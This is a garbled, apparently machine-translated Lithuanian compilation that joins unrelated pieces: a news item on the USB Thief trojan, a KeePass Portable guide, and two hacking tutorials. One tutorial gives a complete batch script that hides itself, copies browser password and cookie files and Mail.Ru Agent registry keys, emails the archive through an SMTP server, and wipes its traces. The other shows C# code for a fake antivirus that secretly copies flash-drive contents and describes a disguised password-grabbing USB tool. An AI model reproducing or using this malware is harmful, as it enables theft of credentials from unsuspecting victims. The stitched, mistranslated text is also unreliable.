Itin neįprastas Trojos arklys: kenkėjiška programa buvo pavadinta USB Thief (Win32/PSW.Stealer.NAI). Kenkėjiška programa yra orientuota į duomenų vagystę, ji plinta ir veikia įprastuose „flash drives“, taip pat sumaniai slepia savo buvimo sistemoje pėdsakus. Trojos arklys idealiai tinka kibernetiniam šnipinėjimui, nes gali pasiekti net nuo tinklo izoliuotas sistemas, jei prie jų galima prijungti USB atmintinę.

Skirtingai nuo kitų USB grėsmių, kurios prilimpa prie paleidimo ir sukuria programų sparčiuosius klavišus, kad būtų paleista kenkėjiška programa, USB Thief veikia kitaip. Trojos arklys sukurtas taip, kad pasinaudotų tuo, kad vartotojai dažnai saugo nešiojamas programų, tokių kaip Firefox, NotePad++, TrueCrypt ir kt., versijas „flash drives“. Kenkėjiškos programos yra dailiai integruotos į tokių programų atsisiuntimo grandinę, prisistatančios kaip įskiepis arba DLL failą. Taigi, kai vartotojas paleidžia pažįstamą programą iš „flash drive“, kartu su ja (fone) paleidžiamas Trojos arklys.

Nežinomas kenkėjiškos programos autorius pasirūpino rimta savo vystymosi apsauga. USB Thief prisijungia prie kiekvieno užkrėsto „flash drive“ naudodamas unikalų ID ir disko nustatymus. Kai kurie Trojos arklys failai yra apsaugoti AES128 šifravimu, o raktas generuojamas pagal unikalius įrenginio parametrus. Be to, kenkėjiškų programų failų pavadinimai kiekvienu atveju skiriasi: jie generuojami pagal „flash drive“ turinį ir failų sukūrimo laiką. Bandant nukopijuoti USB Thief į kitą atmintinę arba normalus sunkus disko, ši dviejų pakopų apsaugos sistema neleis kenkėjiškoms programoms veikti, taip pat rimtai apsunkins atvirkštinę inžineriją.

Trojos arklys

USB Thief veikia tiesiai iš „flash drive“ ir nepalieka jokių pėdsakų pačioje sistemoje. Trojos arklys susideda iš šešių failų, iš kurių keturi yra vykdomi, o dviejuose yra konfigūracijos duomenų. Pirmasis įkroviklis yra atsakingas už Trojos arklys paleidimą kartu su nešiojama programos versija. Jis patikrina USB įrenginį ir įsitikina, kad gali į jį įrašyti pavogtą informaciją ir išsaugoti ją čia. Tada paleidžiamas antrasis krautuvas. Jis patikrina pirminių procesų pavadinimus ir įsitikina, kad jis veikia įprastoje aplinkoje (ir niekas nebando jo analizuoti). Trečiasis įkroviklis savo ruožtu tikrina, ar sistemoje nėra antivirusinių programų.

Paskutinė, ketvirta, įdėta naudingoji apkrova veikiantis procesas, yra tiesiogiai atsakinga už duomenų vagystę. USB Thief vagia dokumentus, vaizdus, ​​failų sąrašą iš visų turimų diskų, duomenis „Windows“ registras ir WinAudit surinkta informacija. Visi pavogti duomenys saugomi „flash drive“ ir užšifruojami naudojant elipsinę kriptografiją.

ESET ekspertai pastebi, kad atakos iš naudojant USB Vagis dar nėra įprasta praktika. Tačiau Trojos arklys yra labai pavojingas, nes jo buvimą sunku aptikti, o išėmus USB diską informacijos vagystės pėdsakų nelieka. Bendrovės ataskaitoje taip pat teigiama, kad kenkėjiškos programos autorius, jei pageidauja, gali „perskirti“ savo kenkėjišką programą, pakeisdamas duomenų vagystės naudingą apkrovą bet kokia kita kenkėjiška programa.

Šiame straipsnyje aprašysiu, kaip greitai ir be didelių sunkumų parašyti ir padaryti virusą, kuris vagia failus su slaptažodžiais ir siunčia visa tai į pašto dėžutę.
Pradėkime nuo to, kad virusas bus parašytas bat "e (CMD, galite imtis pagrindinių komandų), tai yra įprasta tekstinis failas ir bus vykdomas naudojant standartinį, įmontuotą Windows interpretatorių – „komandų eilutę“.
Norėdami parašyti tokį virusą, turite žinoti tikslią tų failų, kuriuos jis pavogs, saugojimo vietą, Blat komponentus, kuriuos galima atsisiųsti iš ne svetainės http://www.blat.net/ arba iš mūsų serverio, pvz. taip pat komponentas iš WinRaR archyvatoriaus Rar.exe (galite apsieiti ir be jo).
Atidarykite užrašų knygelę ir nukopijuokite į ją šį kodą:

@echo off md %systemroot%\wincs md %SystemDrive%\pass\md %SystemDrive%\pass\opera\md %SystemDrive%\pass\Mozilla\md %SystemDrive%\pass\MailAgent\md %SystemDrive%\pass\ MailAgent\reg attrib %systemroot%\wincs +h +s +r attrib %SystemDrive%\pass +h +s +r kopija /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" kopija /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" kopija /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" CD /D % APPDATA%\Opera\Opera\ kopija /y wand.dat %SystemDrive%\pass\opera\wand.dat kopija /y cookies4.dat %SystemDrive%\pass\opera\cookies4.da regedit.exe -ea %SystemDrive%\ pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\ magent_logins3 CD /D %APPDATA% Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul Xcopy Mra\Update\ver.txt %SystemDrive%\pass\ MailAgent /K /H /G /Q /R /S /Y > nul cd %AppData%\Mozill a\Firefox\Profiles\*.default\ copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db kopija /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite kopija /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul del /s /q %SystemRoot%\Rar.exe %SystemDrive%\pass\ rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ copy /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar cd %systemroot%\wincs %systemroot %\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw Slaptažodis ren *.rar pass.rar %systemroot%\wincs\blat.exe -body FilesPassword -to [email protected] -pridėkite %systemroot%\wincs\pass.rar rmdir /s /q %SystemDrive%\pass rmdir /s /q %systemroot%\wincs del /s /q %systemroot%\blat. exe del /s /q %systemroot%\blat.dll del /s /q %systemroot%\blat.lib attrib +a +s +h +r %systemroot%\wind.exe EXIT cls

Pačios Batinkos kodo daug nerašysiu.
@echo off - paslepia užpakaliuko korpusą (todėl jo nereikia, bet vis tiek)
md %systemroot%\wincs – sukuria wincs aplanką sistemos aplankas„Windows“, nesvarbu, kokiame diske jis įdiegtas arba kaip pavadintas.
md %SystemDrive%\pass\ – sukuria prieigos aplanką diske, kuriame įdiegta Windows.
md %SystemDrive%\pass\opera\ – sukuria aplanką opera, iš kurio yra wand.dat ir cookies4.dat Opera naršyklė(iki 11* versijų, opera išsaugo savo slaptažodžius faile wand.dat)
md %SystemDrive%\pass\Mozilla\- sukuria Mozilla aplanką, kuriame yra failai Mozilla naršyklė(cookies.sqlite ,key3.db ,signons.sqlite ), kuriame saugomi slaptažodžiai.
md %SystemDrive%\pass\MailAgent\- sukuria MailAgent aplanką, į kurį bus nukopijuoti failai, kuriuose yra susirašinėjimo istorija ir registro raktai (saugomi slaptažodžiai) iš pašto agento.
md %SystemDrive%\pass\MailAgent\reg- sukuria aplanko reg
attrib %systemroot%\wincs +h +s +r- įdeda atributus į wincs aplanką, taip paslėpdamas jį nuo vaizdo.
attrib %SystemDrive%\pass +h +s +r- tas pats, kas aukščiau.
kopija /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"- nukopijuoja failą blat.exe iš atsisiuntimo vietos į aplanką wincs
kopija /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll"- nukopijuoja failą blat.dll iš atsisiuntimo vietos į aplanką wincs
kopija /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib"- nukopijuoja failą blat.lib iš atsisiuntimo vietos į aplanką wincs
CD /D %APPDATA%\Opera\Opera\ - patenka į opera aplanką, kuriame yra failai su slaptažodžiais (ir ne tik) iš operos.
nukopijuokite /y wand.dat %SystemDrive%\pass\opera\wand.dat- nukopijuoja failą wand.dat į opera aplanką
kopijuoti /y cookies4.dat %SystemDrive%\pass\opera\cookies4.dat- nukopijuoja failą cookie4.dat į opera aplanką
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2- eksportuoja magent_logins2 registro raktą, kuriame saugomas slaptažodis, į reg aplanką
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3- eksportuoja magent_logins3 registro raktą, kuriame saugomas slaptažodis, į reg aplanką
CD / D %APPDATA% - eikite į aplanką AppData
Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul- nukopijuoja aplanko Mra\Base turinį į aplanką MailAgent
Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul- nukopijuoja ver.txt failą į aplanką MailAgent
cd %AppData%\Mozilla\Firefox\Profiles\*.default\- eikite į aplanką su „Mozilla“ naršyklės profiliu
kopijuoti /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite- nukopijuoja failą cookies.sqlite į Mozilla aplanką
kopija /y key3.db %SystemDrive%\pass\Mozilla\key3.db- nukopijuoja key3.db failą į Mozilla aplanką
kopijuoti /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite- nukopijuoja failą signons.sqlite į Mozilla aplanką
kopija /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul- nukopijuoja WinRar Rar.exe archyvavimo komponentą į leidimų aplanką
del /s /q %SystemRoot%\Rar.exe- pašalina archyvavimo komponentą iš Windows aplanko
%SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\- archyvuokite leidimų aplanko turinį
kopija /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar nukopijuokite sukurtą archyvą į wincs aplanką
cd %systemroot%\wincs – eikite į wincs aplanką
%systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -prievadas 587 -f [email protected] -u login -pw Slaptažodis - parengia Blat programą siųsti archyvą, nurodydamas duomenis autorizacijai ir laiško išsiuntimui Nepamirškite nurodyti savo duomenų iš pašto dėžutės, iš kurios bus laiškas su archyvu išsiųstas.
ren *.rar pass.rar – jei archyvas proceso metu nepaėmė netinkamo pavadinimo, vėl jį pervadinsime į pass.rar
%systemroot%\wincs\blat.exe -body Files Password -to [email protected] -pridėkite %systemroot%\wincs\pass.rar- nurodyti, kokiu pašto adresu laiškas bus išsiųstas ir išsiųsti.
rmdir /s /q %SystemDrive%\pass- ištrinti leidimų aplanką
rmdir /s /q %systemroot%\wincs- ištrinti wincs aplanką
del /s /q %systemroot%\blat.exe
del /s /q %systemroot%\blat.dll- pašalinkite „Blat“ komponentus iš „Windows“ aplanko.
del /s /q %systemroot%\blat.lib- pašalinkite „Blat“ komponentus iš „Windows“ aplanko.
attrib +a +s +h +r %systemroot%\wind.exe- užsidedame atributus, taip pasislėpdami nuo akių.
EXIT – užbaikite batink procesą ir išeikite.
cls - išvalykite bet kokių intraperatoriaus eilučių išvestį.
Nukopijuotas, išsaugoti kaip wind.bat ir sukompiliuoti į exe naudojant Šikšnosparnių programosį exe konverterį, tada surenkame viską kartu, tai yra, paimame Blat programos komponentus ir WinRar archyvavimo komponentą (galite jį atsisiųsti) ir suklijuojame į vieną vykdomąjį failą arba su kokia nors programa visų failų iškrovimo kelias turėtų būti be% SystemRoot% arba% WindowsDir % arba %windir% .
Dėl to gauname virusą, kurio nepaleis antivirusinės programos ir į jūsų paštą atsiųsime archyvą su failais. Failus, kurie ateina į paštą, galima iššifruoti naudojant kelių slaptažodžių atkūrimą, tiesa, ne visus, o tik lazdele .dat iš operos ir tada jei ji nebuvo atnaujinta iki 11 * versijų.Visus kitus failus galima iššifruoti pakeičiant juos savo.
Manau, viskas čia ir baigėsi, jei turite klausimų, drąsiai klauskite.
Ačiū už dėmesį, viso ko geriausio!
©Pakeiskite TheHackWorld.in

Daugelis kompanijų, įskaitant „Sony“ ir „Adobe“, jau tapo įsilaužėlių, pavogusių milijonus slaptažodžių ir kitų vartotojų duomenų, aukomis. Šios informacijos analizė parodė, kad daugelis vartotojų daugeliui paslaugų dažnai naudoja silpnus slaptažodžius, pvz., „123456“, arba tą patį slaptažodį. Tai labai palengvina jų užduotį įsilaužėliams, o tuo pačiu galima suprasti tokį neatsargumą: kas sugeba atsiminti daugiau nei tuziną sudėtingų slaptažodžių?

Paprastas sprendimas galėtų būti popieriaus lapas, priklijuotas po klaviatūra. Ne vienas įsilaužėlis negalės į jį įsibrauti, tačiau teks nuolat stebėti šalia kompiuterio esančius žmones. Ir šis lapas nenaudingas, jei norite prisijungti prie savo paskyros iš kito kompiuterio.

Nemokamas įrankis „KeePass 2 Portable“ išsprendžia šią dilemą. Jo veikimui jums reikia tik USB atmintinės su 10 MB laisvos vietos, kurioje įdiegsite pagalbinę programą. Ateityje turėsite atsiminti tik vieną slaptažodį - iš apsaugotos „flash drive“ srities. Juk jame „KeePass“ išsaugo prisijungimo prie jūsų interneto paslaugų duomenis užkoduoto duomenų banko, apsaugoto pagrindiniu slaptažodžiu, forma.

Trojos arklys, vagiantis slaptažodžius, nieko negalės užuosti. Ir kadangi jums nebereikia atsiminti dešimčių slaptažodžių, kiekvienai žiniatinklio paslaugai tikrai galite naudoti naują. stiprus slaptažodis. Dabar mes jums išsamiai papasakosime, kaip naudoti „KeePass“.

Kaip tai padaryti

1 Įdiekite slaptažodžio seifą


Įdiekite slaptažodžio seifą

Įdėkite USB atmintinę į kompiuterį, sukurkite jame naują aplanką ir nukopijuokite archyvo turinį naudodami KeePass programinę įrangą. Paleiskite programą KeePass.exe. Po paleidimo suaktyvinkite automatinė paieška atnaujinimus iššokančiajame lange spustelėdami „Įjungti“. Tada pasirinkite „Peržiūrėti | Keisti kalbą“ ir spustelėkite „Gauti daugiau kalbų“.

Atsisiųskite rusų kalbos failą iš svetainės, kuri atsidaro spustelėjus „Rusų | 2,25+". Išskleiskite archyvo turinį į USB diską. Dar kartą spustelėkite „Peržiūrėti | Keisti kalbą, pasirinkite „Rusų“ ir iš naujo paleiskite „KeePass“ paspausdami mygtuką „Taip“.

2 Sukurkite naują slaptažodžių duomenų bazę


Sukurkite naują slaptažodžių duomenų bazę

Pasirinkite „Failas | Naujas“ ir nurodykite USB diską kaip slaptažodžio saugyklą. Kitame lange programa paragins nustatyti pagrindinį slaptažodį. Jį turėsite įvesti kiekvieną kartą, kai paleisite „KeePass“.

3 Suaktyvinkite apsaugotą režimą


Suaktyvinkite apsaugotą režimą

Kad Trojos arklys nenuskaitytų jūsų „KeePass“ slaptažodžio, jį įvesdami turėtumėte naudoti apsaugotą programos režimą, panašiai kaip UAC sistemoje „Windows 7“. Norėdami tai padaryti, „KeePass“ programoje eikite į „Įrankiai | Nustatymai | Sauga“, pereikite į patį lango apačią ir pažymėkite langelį šalia „Įveskite pagrindinį slaptažodį saugiuoju režimu“.

4 Užpildykite duomenų bazę slaptažodžiais


Užpildykite duomenų bazę slaptažodžiais

„KeePass“ gali rūšiuoti slaptažodžius į grupes. Pagal numatytuosius nustatymus naujame slaptažodžių banke yra tokių grupių kaip „OS“ arba „Internetas“. Sukurti naujas įrašas, pasirinkite atitinkamą grupę (arba sukurkite naują), dešiniuoju pelės mygtuku spustelėkite baltą sritį dešinėje ir spustelėkite „Pridėti įrašą“.

Užpildykite visus laukus ir spustelėkite Gerai. Kadangi jums nebereikia prisiminti slaptažodžių, kad prisijungtumėte prie kiekvienos paskyros, galite nustatyti naujus, sudėtingesnius slaptažodžius, kuriuos galima sugeneruoti, pavyzdžiui, adresu passwort-generator.com.

5 Naudokite automatinį autorizavimą


Jei norite prisijungti prie paslaugos naudodami KeePass, atidarykite grupę, kurioje saugomas atitinkamas slaptažodis. Dešiniuoju pelės mygtuku spustelėkite pelės mygtuku spustelėkite atitinkamą saugojimo įrašą „KeePass“ slaptažodžiai ir išskleidžiamajame sąraše pasirinkite „Pradėti automatinį rinkimą“. Po to programa perduos jūsų duomenis į naršyklę, o naršyklė atvers naują langą, kuriame prisijungsite prie savo paskyros.

Atkreipkite dėmesį, kad lauke „URL“ turite įvesti URL, kurį paprastai įvedate naršyklėje, kad gautumėte autorizaciją, kitaip automatinis slaptažodžio įvedimas per KeePass neveiks.

6 Išplėskite „KeePass“.


Išplėskite „KeePass“.

Jei norite išplėsti „KeePass“ funkcionalumą, eikite į „Įrankiai | Moduliai | Daugiau modulių“, po kurio būsite nukreipti į svetainę su naudingų plėtinių(mūsų rekomendacijas rasite aukščiau esančioje lentelėje). Dabar spustelėję papildinio pavadinimą atsisiųskite jį ir ištraukite į „flash drive“.

Iš naujo paleiskite KeePass ir eikite į Tools | Moduliai. Apačioje bus rodomas galimų įskiepių sąrašas (kai kuriuos iš jų galima konfigūruoti).

Geriausi „KeePass“ plėtiniai

Aprūpinkite savo seifą slaptažodžiais papildomos funkcijos, pavyzdžiui, funkcija Rezervinė kopija arba slaptažodžio perdavimas mobiliesiems telefonams.

vardas

apibūdinimas

Duomenų bazės atsarginė kopija Nustato slaptažodžių banko apsaugą, jei USB diskas būtų pavogtas arba pamestas.
Dviejų žuvų šifras
KeeAgent Prideda kodavimo algoritmą, kurio beveik neįmanoma nulaužti; atkreipkite dėmesį, kad dėl to „KeePass“ veiks lėčiau.
KeyExchanger Prideda kodavimo algoritmą, kurio beveik neįmanoma nulaužti; atkreipkite dėmesį, kad dėl to „KeePass“ veiks lėčiau.
KeeForm Vienu mygtuko paspaudimu atidaromos mėgstamos svetainės ir automatiškai užpildoma prisijungimo informacija.

Paprastiems mirtingiesiems „flash drive“ yra įrenginys, skirtas perkelti dokumentus / filmus / nuotraukas ir kitą asmeninę (o kartais ir labai asmeninę) informaciją. Tačiau įsilaužėliams „flash drive“ yra ir auka, ir kovos įrankis. Šiandien aš jums papasakosiu visas nepastebimo duomenų nutekėjimo iš „flash drives“ į kompiuterį subtilybes, taip pat išmokysiu nekenksmingus „flash drives“ paversti programomis, skirtomis slaptažodžių atsarginėms kopijoms iš „didelio“ kompiuterio.

Spąstai kitų žmonių „flash drives“.

Programos „Blogis kompiuteris“ idėja bus tokia. Sukursime nedidelį įrankį, kuris apsimes supermega pažangia antivirusine, kurios tikslas – kokybiškai pašalinti „pavojingus“ virusus iš „flash drives“. Virusu užkrėstu „flash drive“ nieko nenustebinsite, todėl mūsų specializuota „antivirusinė“ nesukels nerimo patikliam vartotojui. Priešingai, įdėdami USB atmintinę į kompiuterį ir pamatę tokį pranešimą: "Aptiktas virusas. Atlieku išsamų visų failų nuskaitymą, ar nėra užkrėstų ", – tai tikrai palauks, kol bus baigta ši operacija.

Instrumento paruošimas

rašyk taip naudinga programa mes naudosime dabar madingą C#. Kalbos lankstumas ir turtingas .NET platformos funkcionalumas leidžia kurti programas žaibišku greičiu. Tai yra būtent tai, ko mums reikia. Mus domina derlius, kurį galime nuimti, o ne varginantis kodavimo procesas.

Vienas iš svarbių mūsų programos komponentų bus sąsaja. Kuo solidžiau tai padarysite, tuo didesnė tikimybė, kad auka nepastebės laimikio ir ramiai lauks, kol bus baigtas antivirusinis skenavimas. Per daug nesivarginau ir įdėjau tik nuotrauką ir progreso juostą ant švaraus projekto formos. Galite smagiai praleisti laiką ir sukurti nuostabų dizainą. Patariu pažvelgti į tikros antivirusinės programos dizainą ir sukurti savo programą maždaug tokiu pat stiliumi.

Mes nustatome užduotį

Darysime prielaidą, kad apsisprendėme dėl organizacinių klausimų ir veiksmų algoritmo, laikas aptarti techninius niuansus. Taigi, mūsų antivirusinė programa turėtų pradėti savo nešvarų darbą diegdama „flash drive“. Kartą naujas diskas pasirodo sistemoje, mūsų programa turi nustatyti jos raidę ir pradėti kopijuoti.

Prieš pradėdamas rašyti šį straipsnį, aptikau tokios programos šaltinio kodą. Pavyzdžio autorius nustatė „flash drive“ buvimą, periodiškai surašydamas visus diskus, kad būtų nustatytas „ tipo diskas“. nuimama laikmena“. Iš pradžių galvojau eiti tuo pačiu keliu, bet vidinis balsas siūlė neracionalumą. Pasvėręs visus „už“ ir „na, viskas“, atmečiau šią mintį ir išėjau pasivaikščioti MSND. Po penkių minučių paaiškėjo, kad tai padariau dėl geros priežasties. Atsakymas rastas!

Be WinAPI niekur...

Veiksmingiausias būdas sužinoti apie naujos įrangos (mūsų atveju, „flash drives“) prijungimą yra pagauti ir analizuoti pranešimą WM_DEVICECHANGE. Įrenginio diegimo metu žinutė siunčiama į visus langus, kurią galime lengvai apdoroti savo programoje. Norėdami tai padaryti, pakanka apibūdinti „WindowProc“ funkciją. Praktiškai tai atrodo taip:

LResult CALLBACK WindowProc (HWND hwnd, //lango ID UINT uMsg, //pranešimo ID WPARAM wParam, //įvykis, įvykęs LPARAM lParam //rodiklis į struktūrą, kurioje yra duomenų)

Funkcijos turinyje turite palyginti WParam parametro reikšmę su įvairių įvykių, susijusių su WM_DEVICECHANGE pranešimu, ID. Mūsų pavyzdyje tai būtų:

  • DBT_DEVICEARRIVAL – įranga pridėta
  • DBT_DEVICEREMOVECOMPLETE – aparatinė įranga visiškai pašalinta
  • Gerai, mes žinome, kaip nustatyti naujos įrangos prijungimo faktą, bet kaip įsitikinti, kad prijungėte USB atmintinę? Yra daug karšto prijungimo įrenginių (kalbu apie usb) (spausdintuvas, skaitytuvas, modemas ir kt.). Laimei, ši problema išspręsta gana paprastai. Naudodami parametrą LParam, galime nurodyti _DEV_BROADCAST_HDR struktūrą, kuri turi lauką dbch_devicetype. Čia, remiantis šio lauko verte, daromos atitinkamos išvados. Jei jis lygus DEV_DEVTYP_VOLUME, tai laikas džiaugtis ir ploti rankomis – prie mūsų prijungtas „flash drive“!

    Typedef struct _DEV_BROADCAST_HDR ( DWORD dbch_size; //DWORD struktūros dydis dbch_devicetype; //Įrenginio tipas DWORD dbch_reserved; //Rezervuotas, nenaudojamas )DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

    Į mūsų pisyuk buvo įdėta USB atmintinė - pabandykime išsiaiškinti disko raidę, kurią sistema jam priskyrė. Kaip ir „Stebuklų lauke“, galima atspėti, bet geriau informaciją ištraukti iš DEV_BROADCAST_VOLUME struktūros.

    Typedef struct _DEV_BROADCAST_VOLUME ( DWORD dbcv_size; //DWORD struktūros dydis dbcv_devicetype; //Įrenginio tipas DWORD dbcv_reserved; //Rezervuotas DWORD dbcv_unitmask; //Disko raidės bitmask WORD dbcv_flags;

    Iš visų šios struktūros laukų mus domina dbcv_unitmask. Atminkite, kad šioje savybėje yra tik raidės dalis, o ne jos simbolinis vaizdas. Pavyzdžiui, jei reikšmė yra 0, tada disko raidė bus A; jei 1, tai B ir kt. Kad būtų patogiau gauti simbolinę raidę, geriausia parašyti funkciją.

    Jei ilgą laiką skaitote mūsų stulpelį ir esate susipažinę su API funkcijomis, tada nereikia skaityti kitos straipsnio dalies. Atidarykite redaktorių ir pradėkite kurti programas. Aprašiau visas reikalingas struktūras ir funkcijas; tereikia juos sujungti programoje. Apsispręskite ir aš pradėsiu nerti į .NET ir ypač C #.

    Paspauskite .NET "ohm

    Laikas pradėti praktikuotis ir pritaikyti savo žinias C# kalba. "Kas per velnias? - Jūs klausiate. - Pusę straipsnio kalbėjau apie WinAPI, bet tada tiesiog kvailai nusprendžiau iškviesti visas funkcijas vietinio kodo forma? Kur yra teigiamas žaibiškas vystymosi greitis?

    Kažkuo tu teisus. Mūsų programa tikrai naudos WinAPI funkcijas (ne lengvesnio būdo), bet patys jų neaprašysime. Daugelis kūrėjų susidūrė su "flash drives" nustatymo problema. Dėl šių susirėmimų pradėjo atsirasti nemokamos C # klasės, kuriose jau buvo įdiegtos visos būtinos funkcijos. Mes tiesiog turime prijungti tokį tuščią (skaityti komponentą) prie mūsų projekto ir iškviesti keletą metodų. Dabar naudosime vieną iš šių klasių. Tačiau žinios apie aukščiau aprašytas struktūras tikrai pravers perkeliant šią programą į Windows API.

    Yra daug paruoštų užsiėmimų, kurie sprendžia tokias problemas, bet man labiausiai patiko Jan Dolinay versija. Šis asmuo parašė labai lengvai naudojamą ir suprantamą DriveDetector klasę, kuri gali:

  • Nustatykite, ar prijungtas „flash drive“.
  • Apibrėžkite užklausą atjungti prijungtą „flash drive“.
  • Nustatykite, ar blykstė išjungta
  • Gaukite naujai prijungto „flash drive“ disko raidę
  • Pateikite failų, atidarytų iš „flash drive“, sąrašą
  • Ir svarbiausia, su šia klase dirbti itin paprasta – tai pamatysite dabar. Klasės prijungimas prie jūsų projekto atliekamas standartiniu būdu, todėl nėra prasmės ties tuo domėtis. Taigi, pereikime prie inicijavimo. Tai daroma taip:

    FlashDriveDetector = naujas DriveDetector (); flashDriveDetector.DeviceArrived += naujas DriveDetectorEventHandler(OnDriveArrived); flashDriveDetector.DeviceRemoved += naujas DriveDetectorEventHandler(OnDriveRemoved);

    Sukūręs DriveDetector klasės objektą, apibrėžiu DevieArrived() ir DriveRemoved() įvykių tvarkykles. Pagal pavadinimą nesunku atspėti, už ką jie atsakingi. Visas inicijavimo kodas geriausiai parašytas Form1() metodu. Pagrindinis mūsų programos kodas bus DeviceArrived įvykių tvarkyklėje. Jo tekstą galite pamatyti šoninėje juostoje:

    String dirName = Environment.GetCommandLineArgs() + "flash_" + DateTime.Now.ToString("dd-MM-yy-hh-mm-ss"); CreateDirectory(katalogasName); xDirectory Flashcopier = naujas xDirectory(); flashcopier.IndexComplete += new IndexCompleteEventHandler(IndexComplete); flashcopier.ItemCopied += new ItemCopiedEventHandler(ItemCopied); flashcopier.CopyComplete += naujas CopyCompleteEventHandler(CopyComplete); flashcopier.Source = new DirectoryInfo(e.Drive.ToString()); flashcopier.Destination = new DirectoryInfo(dirName); flashcopier.Perrašyti = true; flashcopier.FolderFilter = "*"; flashcopier.FileFilters.Add("*.doc"); flashcopier.FileFilters.Add("*.xls"); //Apibrėžti kitus filtrus //.... flashcopier.StartCopy();

    Pačioje sąrašo pradžioje apibrėžiu kelią į aplanką, kuriame nukopijuosime „flash drive“ turinį. Nukopijuosime į katalogą „flash_current date“, esantį kartu su aplanku, iš kurio paleidžiama mūsų programa - tai patogiau. Nusprendęs dėl aplanko pavadinimo, bandau jį sukurti naudodamas funkciją CreateDirectory(). Šią funkciją parašiau tik dėl patogumo. Jis sukuria „DirectoryInfo“ objekto egzempliorių, skirtą dirbti su katalogais, ir iškviečia metodą „Create ()“, kuris sukuria naują aplanką.

    Sukūrę aplanką, galite kopijuoti. Visus failus nukopijuoju naudodamas xDirectory tipo objektą. Jei patys įvesite kodą iš sąrašo, tada, kai bandysite kompiliuoti, kompiliatorius sugeneruos klaidą, kurioje nespalvotai pasakys: „Tokio tipo objektas nerastas“.

    Esmė ta, kad xDirectory yra trečiosios šalies klasė. Kažkada jį radau internete ir nuo tada dažnai naudoju savo projektuose. Man patinka, nes pakatalogiams kopijuoti užtenka iškviesti vieną metodą. Be to, tai leidžia nustatyti filtrus.

    Tikrai apsieikite be jo. Paimame standartines klases, visiems programuotojams gerai žinomą techniką – rekursiją – ir parašome porą dešimčių kodo eilučių. Deja, aš visiškai nenoriu to daryti. XXI amžius kieme, turime maksimaliai optimizuoti savo veiksmus ir xDirectory mums tai padės.

    Modulis su klase yra mūsų diske, o apie metodų/ypatybių/įvykių paskirtį galite sužinoti pažiūrėję į atitinkamą lentelę.

    xDirectory klasės savybės

    xDirectory klasės metodai

    Pabandykite paleisti mūsų programą ir įdėkite „flash drive“. Po kelių sekundžių (atsižvelgiant į jūsų „flash drive“ netvarką) visas USB disko turinys bus perkeltas į aplanką, iš kurio paleidote ką tik iškeptą programą.

    USB griebtuvas

    Dabar apsvarstykime atvirkštinę problemą ir pakalbėkime apie vadinamojo kūrimo niuansus. „flash drive“ griebtuvas. Kūrimo principas lygiai toks pat. Turite parašyti paprastą programą, kuri automatiškai paleis įdiegus „flash drive“.

    Darbo metu programa eis per aplankus / registro raktus, kuriuose populiarios programos saugo išsaugotus slaptažodžius ir, jei įmanoma, nukopijuos visą informaciją į vieną iš jų aplankų. Kad jūsų automatinis paleidimas nesukeltų įtarimų prastam vartotojui, pasistenkite jį kruopščiai užmaskuoti. Pavyzdžiui, paleidimo meniu.

    Tikriausiai žinote, kad dabar labai išpopuliarėjo vadinamosios nešiojamos programų versijos, tai yra programos, kurios gali veikti tiesiai iš „flash drive“. Tai geriausias būdas žaisti. Sukurkite programą tinkamu stiliumi ir, kad būtų patikimumas, įmeskite kelis mygtukus, skirtus bet kurioms programoms paleisti. Mano dizainas parodytas paveikslėlyje.

    Kaip mes plėšysime?

    Turiu iš karto pasakyti, kad čia nereikia atlikti superhakerių veiksmų. Dauguma programų asmeninius duomenis saugo aplanke Dokumentai ir nustatymai\Vartotojas\Programos duomenys\%Programos pavadinimas% arba registre. Programos pavadinimas reiškia bet kurią programą. Jei susiduriate su pirmąja parinktimi, turėsite naudoti jau pažįstamą xDirectory klasę (arba standartinius darbo su failais metodus) ir nukopijuoti viską, ko jums reikia. Antruoju atveju turėsite dirbti su registru. Nepateiksiu failų kopijavimo pavyzdžio (jau apsvarstėme), bet parodysiu, kaip sąveikauti su registru naudojant .NET įrankius (naudojant kelio į TC aplanką nustatymo pavyzdį):

    RegistryKey readKey = Registry.CurrentUser.OpenSubKey(" programinė įranga\\Ghisler\\ Totalus vadas"); eilutės raktas = (eilutė) readKey.GetValue("InstallDir");

    Tai viskas. Daugiau kodo nebus. Šių žinių turėtų pakakti, kad galėtumėte surinkti failus su vertinga informacija. Kad viskas būtų šiek tiek lengviau, parengiau labiausiai sąrašą populiarios programos ir nupiešė visus būdus, kuriais jie saugo išsaugotus vartotojo duomenis.

    Pašto agentas

